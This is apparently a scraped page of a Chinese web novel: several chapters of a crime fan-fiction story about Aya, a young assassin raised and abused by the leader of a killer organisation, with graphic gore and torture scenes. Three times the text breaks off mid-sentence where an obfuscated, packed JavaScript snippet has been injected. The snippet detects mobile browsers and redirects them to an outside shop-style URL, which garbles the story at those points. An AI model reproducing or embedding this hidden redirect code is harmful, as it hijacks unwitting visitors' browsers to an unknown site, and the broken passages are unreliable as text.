小头目心想,怪不得让我来审,这个只有仨字母、还有两个字母是重复的名字,对文盲实在太友好了,四舍五入就是她对我友好,看来我有戏,便歪歪扭扭地在表格上写下“Aya”,又继续道: “性别?” 阿娅礼貌反问:“你瞎吗?” 小头目咕哝:“我是尊重政治正确的那帮少数群体……好吧好吧,给你写上,女性,太好了。年龄?” 阿娅毫无波澜:“20。” 小头目又刷刷写了两笔,这才进入今天的重头戏,坐直了一点,问道:“你之前和‘赫达·德雷克’,有什么交集吗?” 阿娅回答得理直气壮,哪怕她刚刚从提姆的手里白吃了一张十年的灰烬账簿,她的脸上也没有半点心虚:“素不相识。” “唔,这就奇怪了。”小头目砸了咂嘴,终于把氛围往正常审问的方向拉回来了一点,“那根据数据显示,你在此之前的任务完成率是100%,哪怕让你从一个旅规模的武装力量手里偷东西,你也能圆满完成任务。” “这个德雷克,难道比三千名全副武装、荷枪实弹的雇佣兵都强吗?他是怎么逃脱的?” 阿娅毫无感情地棒读:“我与他一番激战,打得有来有回,互不相让,正在我打算用刀刺穿他心脏时,他却将身一扭,反从我刀下走跑了。” 小头目大喜过望,一边说话一边伸出手去,想摸一摸阿娅的脸和手:“我知道这个!这是Tik tok上很火的一个梗,你也觉得蛮有意思的对不对?等审问结束后,我们换一下联系方式,以后还可以出去喝咖啡看电影——” “——等一下,等一下,弄错了!”另一名小头目从走廊上旋风也似的刮了过来,把沿路的所有人都撞了个东倒西歪,才得以用最快的速度抵达阿娅所在的审讯室门口。 他暴/力破门而入,面色铁青,一把把同僚不守规矩的手扯下来:“他妈的,你脑子里进屎了吧,找死!这是阿娅小姐,是首领钦定的继承人!” 小头目手忙脚乱地给阿娅松绑,一边赔笑道歉,一边恶狠狠地用眼神,把之前那位同僚凌迟了至少三千刀: “就算她没完成任务,也自然有首领过问,倒是你在这里装起逼来了,摆什么谱呢!阿娅小姐,实在对不住,他刚升上来,还不认识您,只是对着任务报告走流程……” 天可怜见的,他就是去放了个水——虽然这水放了一小时,怎么看怎么是年纪轻轻就前列腺增生……好吧,他承认他是带薪摸鱼去了——结果等他一回来,就有这样一个天大的好消息等着他: 你回来啦?没关系,虽然你放了一个小时的水,而你勤快的好同事在这一个小时里也没闲着,兢兢业业给你拉了一坨大的! “首领的继承人”这个词组一出来,两人的脸色就已经青到可以合并同类项了,于是善良的阿娅决定发挥一下同僚情谊,帮助一下他们恢复呼吸: “我竟然不知道,审问的流程里竟然包含‘交换私人联系方式’这一项。” 两人的脸色立刻走向了另一个极端,加点水搅和搅和就能直接拿去刮腻子刷大白。阿娅施施然站起,对上气不接下气跟着跑过来的清算人们伸手: “我的个人物品呢?” 小头目不是一个人来的。 他还带了一堆普通清算人,只不过他能够一路晋升上来,自然有自己的本事,就比如在跑路特别快这一项上,快得他这边都开始给阿娅滑跪第三轮了,那些负责运送东西的特工和刺客,才气喘吁吁赶到,喘得好像下一秒就能在肺里开两个风箱批发工厂,一边一个: “都……都在这里了,阿娅小姐,请您清点!” 杀手对自己武器的熟悉程度,就像平常人知道左手如何交握右手。阿娅只是接过这个平平无奇的黑色双肩包,连掂都不用,就知道里面除去自己的武器外,还放了一些额外的东西,便问: “是我之前申请的个人日常用品下来了吗?” 阿娅的社会化训练做得不是很好——好吧几乎就没有——平日里唯一的娱乐活动就是去靶场练枪,把训练用的假人大卸八块,哪怕是接收和汇报任务,也都只交给相关人员代为处理,或在特制的联络器上完成。 以至于在信息工业飞速发展的当下,她不光没有手机电脑等通讯娱乐一体化用具,甚至连许多流行文化都不懂。明明对最新款的枪械弹药了如指掌、如数家珍,却半点都不知道现在的流行风尚是什么,该买怎样的衣服、做怎样的打扮,就连刚刚跟小头目交流时用到的那个梗,都是从旁人手机上偷窥到的。 众清算人只要听说过阿娅的名字,就自然知道她的这个无伤大雅的小问题。因此,在“个人日常用品”一词从她口中说出后,所有知道她这个“与世隔绝”习惯的清算人,都表示出了相当程度的惊讶: “都在这里了。一听说是阿娅小姐申请的,我们便紧急调动了装备改造部,对市面上最高端的产品进行了优化改造,以确保最后抵达你手中的,都能兼顾简约性和实用性。” “只是阿娅小姐,您要这些东西做什么呢?是平常跟您对接的后勤人员,有哪里让您不开心了吗?” 阿娅淡淡道:“不,只是因为我想要了,有问题吗?” 得到了答案的清算人偷偷擦擦冷汗,长出一口气,赔笑道:“当然没有,很乐意为您服务!以后再有需求,直接告诉我们就好,我们将竭尽全力为您提供支援。” 众人一边说着,一边簇拥着阿娅出门,把那两个小头目扔在了审讯室,半个眼神都没再给他们。 后赶来的小头目死死瞪着自己的搭档,就差没把眼珠子瞪出来了,开始了心惊肉跳的对账:“……你还干了什么?” 被盘问的这人还觉得自己很冤枉:“我只是摸了摸她的手而已,怎么,她是什么浑身都是剧毒的怪物吗,碰都不能碰一下,否则就要死?” 他自然觉得冤枉,毕竟都被送到这里来了,谁能一点亏都不吃?真当清算人是什么慈善组织是吧? 况且他也不是蠢人,看了这女人的资料后,就知道十几年下来,任务完成率还能保持在100%,是多么吓人的一件事。 所以,他根本不敢像对待那些犯下无可弥补的大错,被送进来的蠢货那样放肆,只是摸了摸她的小手,还像正常男女搭讪调情那样,要了她的联系方式,已经很亲切友好了。 他这么想,但他的同僚不这么想。 前一个小头目已经不敢再问什么了,只用一种怜悯的、同情的眼神,把胆敢调戏阿娅的这家伙上下打量了一番,就好像在打量一个死人: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016348|194196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “兄弟,你真是蠢得无可救药了。” “这样吧,我让你做个明白鬼,别等你死得不明不白,要从虚界爬回来找我,我才叫冤枉呢。” “这么说吧,哪怕你现在已经成为了小头目,也得过上相当一段时间,通过考察,或者像我的手下那样,和她合作过,才能有幸得知她的存在。像今天这样,让你提前知道了她的名字,都算得上是特例了。” “你觉得,首领为什么要把她看管得这么严?” 被问及的小头目一怔,努力回忆了一下“阿娅”这个名号,惊讶不已地发现,地位这么高的“继承人”,十余年来,竟然一点乱七八糟的消息都不曾传出,捂得那叫一个严实。 ——这说明什么? 说明一切与她相关的信息,从身份到名字到样貌,都被某种更高、更有力、更可怕的存在牢牢把控着。 而这个存在不仅在精心筛选能够接触到她的人,又把对阿娅信息的知情权,完全控制在了值得信任的部分成员的圈子里。 ——这还说明什么? 还说明她半点没有弄权的意思,直到现在还是孤狼一条,连自己的势力都没有,而这显然不是正常的“继承人”的情况。 她十几年来都没有消极怠工,但也没有滥杀、虐杀而引发大规模的善后和社会新闻;而且她从来没想过,要搞什么救赎啊逃离啊之类的小说最爱戏码,一丁点儿的情感联系都不曾和外人产生。 就像一台高效、简洁而无情的杀人机器,跟除草机似的,开到哪里,就要把哪里精准地剃一下。 ——但人是不可能变成机器的。 如果一个人,真的能够数十年如一日地投身任务,比机器还像机器,连生长过程中最容易因为激素波动惹出麻烦的青少年时期,都不曾闹出半点事来,那么就只能说明一件事: 是有人故意要把她变成这个样子的。 是那个比“继承人”地位更高的、可怕的存在,手把手把她变成这个样子的。 他乐于见得她变得符合自己的期望,乐于看到她完全沿着自己划下的道路成长,却不想看到这件完美的作品和外人产生交集,不愿意看到她的身上,带有一星半点来自外人的痕迹。 ——那么,这又能说明什么呢? 一念至此,某种让杀人无数的清算人小头目,都觉得有些别扭、恶心和难以置信的东西,突然就从心口涌上来了,把他本来就不算聪明的脑仁搅了个乱七八糟: 他只是杀人的罪犯,不是变态,完全不能理解这种做法! 这不对,这肯定不对……但这竟然也说得通!越是地位高的人,掌控欲就越强。以此来推,谁能拒绝一个从思想到行为再到外貌,都是自己手把手养出来的,百分百符合自己口味的……玩偶,宠物,武器,继承人,还是别的什么东西? 只一瞬间,他终于明白了,为什么自己只是摸了摸她的手,在同僚的口中,却就已经预订了死亡的结局,因为他得罪的不仅仅是“继承人”,更是“污染了首领最完美的作品”: “不——” 小头目的话没能说完。 因为下一秒,他整个人就被均匀涂抹在审讯室里了。 从天花板到墙壁再到地板,连原本闪烁着光芒的显示屏上,都挂上了黏糊糊的血浆和肉酱,一截肠子更是直接挂在了窗上,风一吹,便摇摇晃晃。 现场仅存的活人汗涔涔地看着面前的血肉地狱,顿觉天旋地转,脑海一片空白,一时间都不知道说什么。 到最后,他只能僵硬地听着那道令人胆寒的声音从监视器处传出,指挥他清理这些还在蠕动、抽搐的血肉,就好像让再寻常不过的清洁工去打扫卫生: “清理一下。” 5. Chapter 5 之前曾有不少清算人,明里暗里抱怨过阿娅“傲慢”,觉得阿娅根本不拿正眼看他们。 但如果这些人,跟这道声音的主人打过交道,就半点不会觉得阿娅目中无人了,只会觉得她格外友善可亲: 至少跟阿娅说话的时候,你还能有种“她在跟人交流”的感觉。 可这道低沉、磁性却冷漠的声音一出来,你都不用见到他,就能想象出他傲慢不逊的神情,无机质的眼神,以及把所有清算人,都当死人、垃圾、贱民和虫豸对待的,高高在上的口吻。 审讯室里唯一活着的这位小头目,已经抖成了一只缩头鹌鹑,一边上下牙打架,一边在心里咒骂已经被变成糊糊了的同僚一万遍,忽然听到那个声音再度传来,问道: “阿娅申请了一些个人日常用品?” 小头目一个打挺站得笔直,大声回答道:“是的,首领!阿娅小姐在申请枪械弹药的补充和近战武器的保养之外,额外申请了一些手机电脑之类的通讯娱乐工具,相应报告已经递交给您了,请查阅!” 清算人首领——也就是杜弗尔——闻言,忽然笑了一声。 很难说这一声笑里,是好奇更多,还是嘲讽更多。总之落在小头目耳中,便是一种奇异的“没想到我养的小玩意儿竟然敢自己动弹了”,居高临下的好奇与宽纵: “她竟然有了‘娱乐’和‘沟通’的概念?” “真有趣。是谁把这种东西,放在她脑子里的?” 小头目抖若筛糠,不知道自己会不会下一秒就变成糊在墙上的第二层,却还是强撑着回话: “报告首领,除去这个不知死活的家伙之外,没人跟阿娅小姐说话。她被押过来上交个人物品的时候,就在跟我们要这些东西了。” 摄像头上的红点闪动了几下,随即湮灭,再无半点动静。 小头目一看首领走了,终于放心长出一口气,腿软心跳地跌坐下去,结果两手往地上一撑,好家伙,直接抓了满手血浆和肉泥,不由得下意识惨叫一声: “啊——!!!” 他这一嗓子没喊完,门又被推开了。阿娅探了个头进来,目光精准锁定了还在拼命甩手擦手的小头目,礼貌道: “你好,有空吗?” 小头目已经快崩溃了。 他真的很想大喊一声没空,但他不敢。 很难说是“同僚在我面前被均匀涂抹开来”更让人胆战心惊,还是“首领随时可能折返,把我也做成人肉颜料在墙上玩涂鸦”更让人提心吊胆,抑或者是“这个隐形炸弹正在跟我搭话”更让人绝望。 总之最后,小头目还是挤出了一个绝望的笑容,谄媚道:“有的,阿娅小姐,当然有空。有什么是我能帮您的?” 阿娅目不斜视地走进来,就好像这间还在从天花板上,滴滴答答往下掉血肉混合物的房间,整洁得一尘不染似的,把手机递到了他面前: “我需要一个能跟人沟通交流的账号。” 小头目抖着手接过手机:“您指的是哪个平台?” “有很多平台吗?”阿娅想了想,“那就正常人会使用的全部吧。” 小头目试图不着痕迹地把自己和阿娅之间的距离拉开了一点,然后开始运指如飞地给她注册账号。 都说科学技术是第一生产力,但落在这一刻,完全可以替换为恐惧是第一生产力。没几分钟,他就注册好了所有的账号,把手机还给了阿娅,恨不得下一秒就能送这个隐形炸弹出门:“都弄好了,阿娅小姐。” 阿娅一点头,拔腿就往门外走去。 小头目刚刚呼出半口气,庆幸自己的小命保住了,却见阿娅又折返回来,疑惑道:“我是不是该说‘谢谢’?” 小头目突然有了种毛骨悚然的感觉,就好像有什么东西在背后死死盯着自己,如果目光有实体,那么他现在已经从脊椎开始被切成薄片了,赶忙道: “您从哪里知道的这个词?不用,当然不用。” “而且这也不是什么好话,别再说了,阿娅小姐。” 阿娅若有所思地点点头,随即推门离开,再不曾回首。 小头目狠狠擦了把头上的冷汗,哆哆嗦嗦地转过头去,与藏在天花板角落的摄像头来了个两两相对;更可怕的是,摄像头上的红点,不知何时已经亮起来了,很明显,杜弗尔把两人的交谈听了个七七八八,搞不好甚至听完了全程。 ——噔!噔!咚! ——完了,死定了!!! 小头目的心中从没如此明显地有过对“死亡”的预感。 他甚至都能听见自己的心脏在疯狂跳动,血液一波又一波地冲刷着鼓胀的耳膜。自己好像正在开口说话,可这发虚的声音,竟也好似从天外传来似的,隔了一层,飘飘荡荡,分外模糊: “哈哈,首领,原来您还在啊?” 杜弗尔半点跟他交谈的意思也没有,只言简意赅道: “去查。” 小头目骤然得知自己躲过一劫,脑子一时间竟转不动了,只傻傻道:“啊?” “去查她这段时间,都和什么人有过交集。”杜弗尔加重语气,重复了一遍,这一次,小头目终于听清了隐藏在其中的,“竟有事情胆敢脱离我的掌控”的,被冒犯的愤怒,“阿娅根本不该知道这些。” “我把她从世界和人群中隔离开来,手把手教她下棋、杀人。我把她的精神摧毁无数次又重建无数次,才得以铸就这把能够斩断一切的,我最宝贵的利刃。” “她不怕疼,不会哭,不害怕痛苦,也不知道幸福。她不会开玩笑,更不会去寻求娱乐和放纵,因为她的这一生都只为清算人活着。” “啪嗒”一声轻响,似乎是一枚棋子被落下的声音。这道声音落在小头目的耳中,就好像宣告了他的死缓,也宣告着名为“阿娅”的棋子,自始至终,都未能从棋局中逃离: “你说,如果没有外人与她交谈,把这些乱七八糟的东西带给了她、污染了她,她怎么会知道,要和人‘沟通’,还要跟人说‘谢谢’呢?” 小头目打了个寒颤,一时间不知道该先可怜随时都有可能被首领迁怒弄死的自己,还是先同情看似风光、实则半点人身自由也没有的阿娅。 只不过这种感觉转瞬即逝。杜弗尔话音刚落,他便大喊一声“遵命”,爆冲出门去了,速度快得简直就像有剑齿兽在咬他的后脚跟,撞得门扇来回摇动不止。 杜弗尔一声令下,整个清算人组织便以前所未有的高效率,以他为中心运转起来了。 如果说阿娅作为“继承人”,能调动的那些金钱和军火,算得上一头猛狮,那么此时此刻,受真正的首领调遣而运作起来的这个组织,便是一头哥斯拉一样的猛兽,还是张口就能轻轻松松吞掉十座世界最高楼的那种。 阿娅在这一年里,接触过的所有人、做过的所有任务、用过的东西和去过的地点等一切与她相关的东西,被飞速从数据库中抽调、筛查、简化、对比,最终汇总成薄薄的几页纸,在数分钟内,便呈到杜弗尔面前。 ——然而出乎杜弗尔预料的是,他把这份资料翻来覆去看了三遍,也没能看出来什么异常。 就好像阿娅依然和从前一样,十余年如一日,在无数任务地点间沉默而忠诚地奔走。 杀人机器割过来,杀人机器推过去,噼里啪啦爆炸,丁零当啷剁人,所过之处寸草不生,一星半点和外人产生交际的迹象也无。 说得再明白些,仿佛有一只无形的大手,将“提姆·德雷克”这个存在完全抹去了。 数据查不到,影像不存在。就连奉命赶回总部的阿娅,也不知有意还是无意地瞒下了“提姆·德雷克”这个名字、这个人,硬生生撑过了杜弗尔本人的三轮拷问,才让这位冷酷残暴、聪明绝顶的首领,得出了两个结论: 第一,没人带坏她,这只是在出任务途中,见到了正常人之间的社交行为,进而对此进行的模仿,她依然是从前那个比狗都要听话的好女孩; 第二,这把刀在长久的奔走后,已经有些疲倦发钝了,连一个叛徒都带不回来。 这个叛徒的姓名、性别、动机等一切信息,其实都不重要;但传闻说此人偷走了十年份的灰烬账簿,这很重要。 所以杜弗尔刚听说这件事,便立刻改了主意,要阿娅将他活着带回: 没人能从清算人首领手里偷东西。只要他这么干了,不管是成功还是失败,下场唯有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016349|194196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死。唯有用鲜血和死亡,才能偿还对清算人首领的威严的挑衅! ——然后阿娅空手而归。 清算人里最锋利的刀一斩落空,未能饮血。 这已经不是简单的“任务失败”的问题了,完全就是在把杜弗尔的面子扔在地上,啪嗒啪嗒踩着跳桑巴舞。 于是杜弗尔决定对阿娅进行一番调整。 比如说,把她从需要出外勤的一线,调到负责情报和间谍工作的信息部门。 再比如说,让她回想起,什么是真正的“暴力”和“恐惧”,让她定定神,收收心。 他握着阿娅的下巴,轻轻将阿娅的头从自己膝盖上抬起,铅灰色的狭长双眸里倒映着满地的血,愈发衬得他的声音讥诮、倨傲: “或许是我对你抱有了过高的期望,看看,阿娅,离开我这么久,你也没长进多少。” 他的语调慢条斯理,摩挲着阿娅脖颈的手指也慢条斯理,半点不见他制住阿娅所有的反抗,将她无数次打倒在地时,那压倒一切、毁灭一切、残暴得近乎非人的力量。 只有真正掌握伟力、权能和生死的人,才有资格摆出从容不迫的样子,而这些东西,都是来去匆匆的“阿娅小姐”,所永远无法拥有的: “好女孩,我再给你最后一次机会。” “不管你之前出于怎样的理由隐瞒我、欺骗我,只要这一次,你愿意如实相告,那么所有的旧账就都一笔勾销。你知道的,我说到做到。” “但如果你负隅顽抗,要骗我骗到底,那么你最好祈祷,在我还活着的年岁里,你永远、永远都不会暴露。否则我一定会亲手折断你的脖颈,砍下你的头颅和四肢,让你的尸首连最好的裁缝都拼凑不全。” 空气中的血腥味愈发浓重。铅灰色的眼睛对上了深红色的双眸,宛如血漫过审讯室的水泥地板。 杜弗尔似笑非笑地望着被他完全把控住的阿娅,一瞬间竟有些百无聊赖,却也十分笃定,从这忠诚、天真、残暴、乖巧又可怜的小东西嘴里,不可能得到半句假话: “那么阿娅,接下来,你有什么话要对我说?” 说来惭愧,阿娅眼下趴在杜弗尔膝盖上的原因很简单。 半点温情脉脉的亲情氛围也没有,更没有脖子以下不能描写的BDSM情节,唯一能够令这段话被各大平台审核扣下的原因只有一个,那就是血腥暴力: 她浑身的骨头都被打断了。 阿娅不是没有反抗过。 或者说得再准确一点、再大逆不道一点,自她成年后,就无时无刻不在密谋如何还手,日日夜夜都在想,如何活得有尊严一点: 别的小头目身手还不如我,都能被下属们当做救世主一样信赖、畏惧和尊重,为什么我作为有史以来最年轻的小头目,作为首领最倚重的继承人,在他的面前,却还是半点尊严都没有,活得连一条狗都不如? 他提供给我容身之处,教我如何使用刀枪,又把他的观念传授给我。 既如此,我难道不算更年轻的他吗?为何首领不能像尊重自己一样,尊重我呢? 但阿娅所有明里暗里的反抗,都没被杜弗尔放在眼里。 ——不是镇压下去,而是根本就没放在眼里。 他实在太强大了。 这位年岁不知几何、来处也同样成谜的暴徒首领,只一言不发地站在那里,就能带给人近乎窒息的威胁感。但凡是有些战斗本能的,就该从他身上,感受到如下信息: 不可违逆,不可战胜,不可逃脱。 可以说,在这次杜弗尔亲自出手的审问中,别管阿娅在这个过程中,爆发出了怎样撕心裂肺的惨叫,流了多少泪、多少血,直到最后,她竟然都把这个谎言给死死瞒住了,已经算得上是开天辟地的、长足的进步。 她的头发完全散开了,被汗水浸湿,如摊开的黑色蛛网般,黏在她因失血和疼痛而苍白得犹如鬼魂的脸上。 年轻的继承人力气全无,挣扎不得,只能顺着杜弗尔的手抬起头,望向她的首领与引路人。 她咳出一口锈色的血,气若游丝却又斩钉截铁: “没有,首领。” “我忠心耿耿,故我无话可说。” 6. Chapter 6 很明显,杜弗尔不是什么慈父,也不是什么良师。 在他的认知里,孩子这玩意儿,就是个缩小脆弱版的成年人: 只要能听得懂话,就必须全盘接受他的精神洗脑和职业安排。最好一落地就能自如行走,不管怎么养都不会病死,养个几年就能派去出任务,清算人组织里兢兢业业的牛马就又可以喜加一。 ——太恶毒了,跟杜弗尔一比,全世界的资本家都可以从路灯上被放下来,大赦天下。 很难说格外令人省心的阿娅的到来,到底把这种刻板印象加重到了什么程度。 总之,在省心地养了阿娅十几年后,杜弗尔已经习惯于自己的错误惯性思维,并流畅地做出了以下判断: 给她刀和枪,她就能学会杀人; 给她一份名单,她就会去追杀叛徒; 那么给她一条裙子,她就自然也能学会跳舞。 ——太合理了,合理得简直就像意大利的玛格丽特披萨上,放满了草莓麻婆豆腐馅的饺子一样。 就这样,在一干清算人刺客和特工,同样满头雾水的注视下,左手拎着裙子和高跟鞋,右手提着一堆价值连城珠宝的阿娅,用尽她所有的社交本领,对前来传达杜弗尔命令的小头目彬彬有礼道: “你和首领中肯定有一个人的脑子坏掉了,而那个人不会是首领。” “再说一遍,这是要我去做什么?” 小头目能怎么办,他也心里苦啊: 后退一步是首领阴阳怪气的命令,前进一步是根本没法用正常人逻辑沟通的杀人机器,属实是前有狼后有虎。妈的,要不是留在这里,能时不时吃一口灰烬账簿的回扣给自己续命,他早就撂挑子不干了! 小头目权衡了一下利弊,最后还是选择了遵从首领的命令,对阿娅重复了一遍: “名为‘雅典人’的组织,和我们做的是同样买卖寿命的生意。只不过他们的经营范围主要在俄罗斯,且和我们因交易问题,发生过多次摩擦。” “三天后,名为‘海洋绿洲’的超级游轮,将在俄罗斯的摩尔曼斯克港停靠。情报显示,他们将在游轮上,借游戏之名吸取大量的寿命和财富,且游轮上存在大量富豪,这些都是我们的客户和潜在客户,不能再像以前一样,简单粗暴炸掉了事。” 阿娅遗憾地撤回了一个“等海洋绿洲号行驶到公海,就用AGM-158C反舰导弹炸沉游轮”的,比恐怖分子还像恐怖分子的建议: “那为什么一定要把‘乔装改扮混入会场’的任务交给我?我也可以做后勤工作的。” 小头目冷笑:“等您什么时候,不再下意识用‘杀光一切看见我的人,就等于没人看见我’的标准,去完成任务,我们一定会把后勤工作交给您。” “在此之前,请您执行首领派下来的任务。首领没有下达错,我也没有传达错,您照着做就是了,我们将全力以赴协助您。” 阿娅:“啧。” 小头目:……你刚刚啧了一声,对吧!你刚刚不耐烦了,对吧! 不是,作为派给因外勤失误而下放到后勤组的失败者,这个看似惩罚的任务,只要聊聊天、喝喝酒、跳个舞再混进人堆里,就能完成,简直轻松得一批,真不知道有什么好抱怨的……哦,不对,做任务的是阿娅小姐。 ——那没事了,是挺难的。其专业不对口程度,约等于让华尔街的金融精英,开手摇拖拉机去西伯利亚种土豆。 一瞬间,小头目的心态就产生了翻天覆地的变化,从“首领犯病糟蹋人才”,到“反正被糟蹋的不是我”,再到“首领你折腾了她就不能再折腾我们了哟”,属实把同僚情谊发挥到了极致。别问,问就是负数的情分也算情分: “这次任务目标有三。” “第一,从名为‘雅典人’的组织手下,抢先置换到更多的寿命,和他们竞争。” 阿娅:“没问题。” 小头目:“第二,尽量与他们的客户沟通交流,让他们知道,在雅典人之外,还有我们清算人,他们能给的,我们也能。当然,如果能再撬几个墙角过来,就更好不过了。” 阿娅:“知道了。” 小头目:“第三,一位来自美国的亿万富翁、商业大亨、慈善家、科学家、发明家、人类至上主义者,同时也是本次美国总统大选的竞选人之一,莱克斯·卢瑟,也会抵达海洋绿洲号,并在上面度过愉快的一周假期。您在完成前两项任务的同时,还要保护他的人身安全,前来接您的飞机将在一小时后降落。” “现在,阿娅小姐,您还有什么问题吗?” 阿娅:“有。这里站不下这么多人。” 小头目:???不要面无表情但一本正经地讲冷笑话啊!!! 他看了看若无其事的阿娅,又看了看一旁桌上正在播放搞笑视频的平板电脑,一时间竟不知道这个笑话是该接还是不该接: 如果她不是“阿娅小姐”,只是个普通清算人,那他不仅可以接话、开玩笑,甚至可以约她出去,不管是作为普通朋友交往,还是发展一下更深层的关系,都很有搞头。 毕竟在一干歪瓜裂枣的同僚里,能找到个五官老老实实待在它应该在的地方的人形生物,就已经很不容易了,更何况阿娅长得相当好看。 只要能忽视掉她周身几乎化作实体,把人切得七零八落的锋锐感,就会发现她眉眼深邃,秾丽又英气,只是看着,就让人有种“精神一振、眼前一亮”的感觉。 但问题就在这里。 她不光是个漂亮姑娘,还是最年轻的小头目,更是首领指定的继承人。 她浑身上下的每一处,从衣食住行到思想观念,从言行举止到生活喜好,无一不由杜弗尔亲手塑造,如皮格马利翁近乎病态地雕刻他的象牙少女。 不管首领愿意把她视若珍宝地捧在手心里,还是把她当做一把刀去用,抑或者眼下看似放弃了她,把重伤未愈的阿娅扔在这个分部半月之久,任她自生自灭,那都是上位者的权利,首领做什么都是正确的。 而他只不过是一介和阿娅平级的小头目,无论如何都没胆子凑上去。 ——或者说得再明白一点。 如果首领把阿娅扔在这里,只是因为她任务失败了,让首领失望了,才短期内都不想看见她;结果等首领气头过去,再想起阿娅的时候,定睛一看,他最得意的杀人机器、圈养起来的珍宝,竟敢脱离自己的控制,变得有人味儿了……无奖竞猜,倒霉的会是谁? 小头目已经有点想夺门而出了。 结果他偷偷看了一下周围,发现这帮该死的下属早就溜之大吉,半个人影都没剩下,明摆着不想掺和进这件破事里。 小头目好无助。 他也想跑,但他跑不掉,他还得跟阿娅继续商讨任务细节呢。 他打死都不愿承认,之前阿娅杀人不眨眼的时候,没有吓到他,但眼下,她表现出来的这种“越来越像正常人”的感觉,才是实打实吓到他了! 正在他汗流浃背,不知如何回话时,阿娅突然换了个话题:“这个莱克斯·卢瑟,之前和你有过交流吗?” 小头目如蒙大赦,赶紧也把话题从之前“亲密无间开玩笑”的氛围,转换回眼下公事公办的口吻: “对,大概五年前,我差点和他做成一笔交易。” “他原拟用价值三百亿的政坛人脉、尖端科技、各国机密、军火和公司股份,跟我们交换三十年的寿命,但不知道为什么,最后他又改了主意,总之没能做成。” 阿娅一直都抱着那堆她等下要用来伪装的衣物,看起来就像一颗人形圣诞树,身上挂满了各种丁铃当啷的挂件。 小头目原本想帮她分担一下重负的,她却不动声色后退一步,避开了同僚的手,继续问道: “那么他有没有做不该做的事情,比如打听我们的情报之类的?” 小头目:“……您如果是抱着‘如果这家伙不老实,就可以名正言顺杀掉,这样就不用做任务了’的想法来问的,那我只能很遗憾地告诉您,没有,至少明面上没有。” 阿娅:“啧。” 小头目:“您又在遗憾个什么劲儿啊!” “总之,他在合作期间,虽然对‘长生不死’表现出了一定程度的渴求,但在试图打听我们是如何获取寿命,并将其折合成灰烬账簿的时候,遭到了明确的拒绝,随后就再也没越界。” “这场失败的交易结束后,我们就再也没有商谈过,直到这几天,他主动找上门来,说自己手上有一件超乎人类力量的武器,想要以此交换一年份的寿命,我们才再度搭上话。” 他说着说着,情不自禁地抱怨了起来,看来不管是遵纪守法的好公民,还是杀人如麻的罪犯,在面对“想一出是一出的甲方”时,内心的崩溃都是等量的: “真该死啊,都说了我的负责范围是德国境内,不要因为当年我出差的时候,和莱克斯·卢瑟做过一笔交易——还是一笔没能成功的交易——就把这家伙再次扔给我!真不想和这些美国佬打交道,那边的势力网也太错综复杂了一点!” “今天刚跟人做了交易,明天就发现他买这些东西,是为了去对付超级英雄的,后天一帮正义之士就要拖家带口来给自己的朋友找场子了,真他妈烦人。” “相信我,阿娅小姐,首领选您来完成这个任务,绝对有这方面的考量,想用您来对抗那帮穿着紧身戏服到处主持正义的太平洋警察,毕竟您的身手是他亲自教导出来的嘛。既然有您在,那想必这次的任务就一定能成功!” 被突然硬拍了一波马屁的阿娅面上却没有什么喜色,只点点头,彬彬有礼道:“谢谢你的夸奖。但有没有一种可能,不是我太强了,而是你们都太弱了呢?” 小头目:这天是一秒钟也聊不下去了。如果不知道哪门子的司辰想惩罚我,直接来我梦里弄死我就行,不要把我派到阿娅小姐身边接受折磨。 阿娅自觉已经拿到了想要的东西,便开始从身上往下卸东西,一边把这些精美的衣物、昂贵的珠宝,像堆垃圾一样堆在桌子上,一边头也不回发问: “我要换衣服。你是打算留在这里被我切成碎块,还是发扬一下绅士精神,去外面等?” 小头目闻言,赶忙看了看时间,惊恐不已地发现,现在距离预订好的启程的时间,只剩不到四十分钟了。 他连滚带爬爆冲出门,却又在彻底迈出门前的那一刻停下了脚步,不放心地问道: “阿娅小姐,您知道我们这里是信息后勤部,对吧?” 阿娅:“真是感谢你的友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016350|194196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情提醒,我竟然从来不知道我不识字,是个文盲。” 小头目:“不是这个意思……是这样的,阿娅小姐,如果您还是外勤部门的一线人员,我们自然会为您提供协助,从身份到装扮都打理得妥当,让您能安心做任务。” “但您既然已经被下放到这里了,就得自己动手。当然,您也可以选择让随便哪个清算人来帮您,但我无法担保这人不是卧底,更不知道他会不会借着帮您化妆的名头割断您的喉咙,所以还请您自己来吧。” 阿娅只沉默了不到三秒钟,随后一半自信一半超级自信地回答:“没关系,我可以现学现卖。” 信心十足的阿娅,打开了自己的手机! 学习能力超强的阿娅,打开了Tik tok上最火的美妆视频! 心不灵但至少手巧的阿娅,开始往自己的脸上糊东西了! 